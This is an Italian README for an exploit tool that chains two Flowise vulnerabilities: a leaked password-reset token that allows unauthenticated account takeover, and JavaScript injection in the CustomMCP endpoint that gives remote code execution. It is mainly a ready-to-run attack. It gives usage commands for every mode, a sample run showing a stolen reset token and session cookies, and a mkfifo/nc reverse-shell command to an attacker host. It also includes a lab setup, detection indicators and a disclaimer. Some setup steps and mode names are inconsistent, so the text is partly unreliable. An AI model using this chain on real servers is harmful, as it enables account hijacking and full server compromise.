
FlowiseAI CVE-2025-58434 & CVE-2025-59528 exploit PoC, che dimostra ATO non autenticato tramite fuga del token di reset, seguito da RCE autenticato. Include un ambiente di laboratorio Docker riproducibile.
⚠️ Solo per scopi educativi e ricerca di sicurezza autorizzata. Eseguire questo strumento su sistemi di cui non si è proprietari o senza permesso scritto è illegale.
Questo repository contiene un proof-of-concept in Python per concatenare due vulnerabilità di Flowise:
Flowise è una piattaforma drag-and-drop per creare applicazioni LLM e flussi di lavoro di agenti AI. CVE-2025-59528 interessa Flowise 3.0.5 ed è stata corretta nella versione 3.0.6. Il problema deriva dalla gestione non sicura di mcpServerConfig all'interno del nodo CustomMCP. CVE-2025-58434 è relativa all'esposizione del token di reset della password ed è stata anch'essa risolta in Flowise 3.0.6.
Lo strumento supporta:
Il flusso vulnerabile di reset della password espone dati sensibili dell'utente, inclusi i token temporanei di reset della password, nella risposta API. Un attaccante che conosce un indirizzo email valido può richiedere un reset della password, recuperare il token temporaneo dalla risposta e utilizzarlo per impostare una nuova password per l'account.
Il comportamento vulnerabile interessa le distribuzioni cloud di Flowise e quelle self-hosted/locali che espongono la stessa superficie API. La mitigazione consiste nel non restituire mai token di reset della password o dati sensibili di reset dell'account direttamente nelle risposte API.
La vulnerabilità esiste nel nodo CustomMCP di Flowise. Il parametro mcpServerConfig viene analizzato come parte del processo di configurazione del server MCP e viene valutato come codice JavaScript senza alcuna validazione di sicurezza. Ciò consente a un attaccante autenticato di iniettare codice JavaScript arbitrario, che viene eseguito nell'ambiente Node.js del server Flowise. Nella funzione convertToValidJSONString, l'input dell'utente viene passato al costruttore Function, che valuta l'input come codice JavaScript con tutti i privilegi di Node.js, consentendo l'accesso a moduli come child_process per eseguire comandi di sistema.
L'endpoint vulnerabile utilizzato da questo PoC è:
POST /api/v1/node-load-method/customMCP
con payload js nel campo mcpServerConfig del corpo JSON, ad esempio:
{
"loadMethod": "listActions",
"inputs": {
"mcpServerConfig": "..."
}
}
Il codice vulnerabile si trova nel file CustomMCP.ts ed è referenziato nell'Avviso del Manutentore Github per la CVE.
Attacker Flowise
│ │
│ [CVE-2025-58434] │
│ POST /api/v1/account/forgot-password │
│ { email } │
│─────────────────────────────────────────►│
│◄─────────────────────────────────────────│
│ user object + tempToken │
│ │
│ POST /api/v1/account/reset-password │
│ { email, tempToken, newPassword } │
│─────────────────────────────────────────►│
│◄─────────────────────────────────────────│
│ password changed │
│ │
│ POST /api/v1/auth/login │
│ { email, newPassword } │
│─────────────────────────────────────────►│
│◄─────────────────────────────────────────│
│ token / refreshToken / connect.sid │
│ │
│ [CVE-2025-59528] │
│ POST /api/v1/node-load-method/customMCP │
│ mcpServerConfig=<crafted config> │
│─────────────────────────────────────────►│
│ JS evaluated in Node.js
│ command executed
│◄─────────────────────────────────────────│
│ command output or payload fired │
│ │
✓ Acquisizione account + RCE autenticato
Repository Structure
CVE-2025-58434-CVE-2025-59528/
├── exploit.py
├── README.md
├── requirements.txt
├── docker-compose.yml
└── logs/
git clone https://github.com/0xDaeras/CVE-2025-58434-CVE-2025-59528-POC.git
cd CVE-2025-58434-CVE-2025-59528-POC
pip install -r requirements.txt
git clone https://github.com/0xDaeras/CVE-2024-51482-POC.git
cd CVE-2024-51482-POC
cp .env.example .env # Configure environment variables
docker-compose up -d
Senza argomenti, lo strumento esegue l'intera catena di attacco, verificando la vulnerabilità del target, eseguendo l'acquisizione dell'account per l'email fornita, effettuando il login per recuperare i cookie e quindi sfruttando la vulnerabilità RCE con un payload di reverse shell. Eseguire un listener dedicato (es. nc -lvnp 9889) prima di eseguire lo strumento in modalità catena completa.
python3 exploit.py --target http://localhost:3000 --email [email protected] --lhost attacker.local --lport 9889
python3 exploit.py -h
Esegue un controllo della versione per determinare se il target è vulnerabile a CVE-2025-58434 e CVE-2025-59528. Invia una richiesta all'API del target e analizza la risposta per identificare la versione di Flowise e lo stato della vulnerabilità.
python3 exploit.py --target http://localhost:3000 check
Esegue il processo di acquisizione dell'account per CVE-2025-58434. Invia una richiesta di reset della password per l'email specificata, recupera il token temporaneo dalla risposta e utilizza quel token per impostare una nuova password (predefinita: "Password123!") per l'account.
python3 exploit.py --target http://localhost:3000 --email [email protected] ato-mode
Effettua il login al target utilizzando l'email e la password specificate (predefinita: "Password123!"). In caso di successo, recupera e mostra i cookie di autenticazione (es. connect.sid) per l'uso in richieste autenticate.
python3 exploit.py --target http://localhost:3000 --email [email protected] --password Password123! login-mode
Sfrutta la vulnerabilità RCE (CVE-2025-59528) inviando un payload mcpServerConfig appositamente predisposto all'endpoint vulnerabile. Il payload è progettato per eseguire un comando di reverse shell che si riconnette alla macchina dell'attaccante su LHOST e LPORT specificati. Se non viene fornito alcun token, tenta automaticamente di effettuare il login e recuperare un token valido per lo sfruttamento. Se non vengono forniti LHOST/LPORT, viene eseguito un semplice comando id che restituisce l'output nella risposta. Eseguire un listener dedicato (es. nc -lvnp 9889) prima di eseguire lo strumento in modalità catena completa.
python3 exploit.py --target http://localhost:3000 --email [email protected] --password Password123! --lhost attacker.local --lport 9889 rce-mode
Modalità predefinita. Esegue l'intera catena di attacco in sequenza: controlla le vulnerabilità, esegue l'acquisizione dell'account, effettua il login per recuperare i cookie e quindi sfrutta la vulnerabilità RCE con il payload di reverse shell. Eseguire un listener dedicato (es. nc -lvnp 9889) prima di eseguire lo strumento in modalità catena completa.
python3 exploit.py --target http://localhost:3000 --email [email protected] --lhost attacker.local --lport 9889 full-chain-mode
$ python3 exploit.py -t http://localhost:3000 -e [email protected] --new-password Password123! --lhost 192.168.1.7 --lport 9889 full-mode
___________.__ .__ _________ .__ .__
\_ _____/| | ______ _ _|__| ______ ____ \_ ___ \| |__ _____ |__| ____
| __) | | / _ \ \/ \/ / |/ ___// __ \ / \ \/| | \\__ \ | |/ \
| \ | |_( <_> ) /| |\___ \\ ___/ \ \___| Y \/ __ \| | | \
\___ / |____/\____/ \/\_/ |__/____ >\___ > \______ /___| (____ /__|___| /
\/ \/ \/ \/ \/ \/ \/
────────────────────────────────────────────────────────────────────────────────
[∗] Target URL: http://localhost:3000
[∗] Module : full-mode
[∗] Email : [email protected]
────────────────────────────────────────────────────────────────────────────────
[∗] Checking for target vulnerability...
[+] Target appears to be vulnerable.
────────────────────────────────────────────────────────────────────────────────
[∗] Starting Account Takeover (CVE-2025-58434)...
[+] Password reset request sent successfully.
[∗] Target user data :
🡪 ID : 4e169dc2-AAAA-BBBB-CCCC-DDDDDDDDDDDD
🡪 Name : Lab Admin
🡪 Email : [email protected]
🡪 Credential : $2a$10$lKbQNf8pVQXJFMzzW...
🡪 Status : active
🡪 Temp Token : AWtyV7mxIa6h12OhlB7H0mMl...
🡪 Token Expiry : 2026-05-08T19:37:47.025Z
[∗] Attempting to reset password using the temporary token...
[∗] New password : Password123!
[+] Account takeover successful! New credentials:
🡪 Email : [email protected]
🡪 Password : Password123!
────────────────────────────────────────────────────────────────────────────────
[∗] Starting login process to retrieve session cookies...
[+] Login successful!
[+] Retrieved session tokens :
🡪 Token : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXV...
🡪 connect.sid : s%3AFi1aUHh5p0aQrPd5q-l_vupTCE-5G...
🡪 refreshToken : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXV...
────────────────────────────────────────────────────────────────────────────────
[∗] Starting Remote Code Execution (CVE-2025-59528)...
[!] Make sure to have a listener ready if using a reverse shell command!
[∗] Reverse shell command: rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.1.1 9889 > /tmp/f
[∗] Target URL: http://localhost:3000/api/v1/node-load-method/customMCP
[∗] Sending payload to trigger RCE...
[+] Payload sent. Check your listener for a reverse shell connection!
────────────────────────────────────────────────────────────────────────────────
[+] Work done. Bye!
Si consiglia un laboratorio locale per test sicuri.
Installazione del laboratorio:
cp .env.example .env # Configure environment variables as needed
docker compose up -d --build
docker compose logs -f
Per impostazione predefinita vengono creati due account Flowise:
[email protected], la password viene generata casualmente all'avvio del container (controllare i log per la password).[email protected], la password viene generata casualmente all'avvio del container ma non appare nei log. Questo è il target previsto per il flusso ATO.Eseguire il PoC contro l'istanza locale:
python3 exploit.py \
-t http://localhost:3000 \
-e [email protected] \
--new-password 'Password123!' \
--no-check \
full-mode
Per ispezionare i log di Flowise:
docker compose logs -f flowise-cve-lab
oppure:
docker logs -f flowise-cve-lab
Potenziali indicatori di sfruttamento:
/api/v1/node-load-method/customMCPprocess.mainModule, child_process, execSync, Buffer.from, FunctionQuesto progetto è fornito solo per scopi educativi, test di laboratorio e ricerca di sicurezza autorizzata.
Sei responsabile di assicurarti di avere il permesso esplicito prima di eseguire questo strumento contro qualsiasi sistema. L'autore non è responsabile per uso improprio, danni o attività illegali eseguite con questo codice. Segui sempre le linee guida etiche e i requisiti legali quando conduci test di sicurezza.
| Flag | Descrizione | Esempio |
|---|
-t, --target | URL di base del target | -t http://localhost:3000 |
-e, --email | Email dell'account target | -e [email protected] |
--password | Password nota per la modalità login/RCE | --password Password123! |
--token | Token di sessione esistente, salta il login | --token eyJ... |
--new-password | Password da impostare durante l'ATO | --new-password Password123! |
| Modalità | Descrizione |
|---|
check | Verifica se il target appare vulnerabile |
ato-mode | Esegue solo il flusso di acquisizione account |
login-mode | Effettua il login e recupera i cookie di sessione |
rce-mode | Esegue solo il flusso RCE |
full-mode | Combina ATO, login e RCE |
| Flag | Descrizione | Esempio |
|---|
-c, --command | Comando personalizzato da eseguire | -c 'id' |
--lhost | Host del listener per reverse shell | --lhost 10.10.14.3 |
--lport | Porta del listener per reverse shell | --lport 4444 |
| Flag | Descrizione | Predefinito |
|---|
--no-check | Salta il controllo versione/vulnerabilità | False |
-v, --verbose | Abilita log di debug | False |
--log-file | Percorso del file di log | logs/exploit.log |
--no-color | Disabilita colori ANSI | False |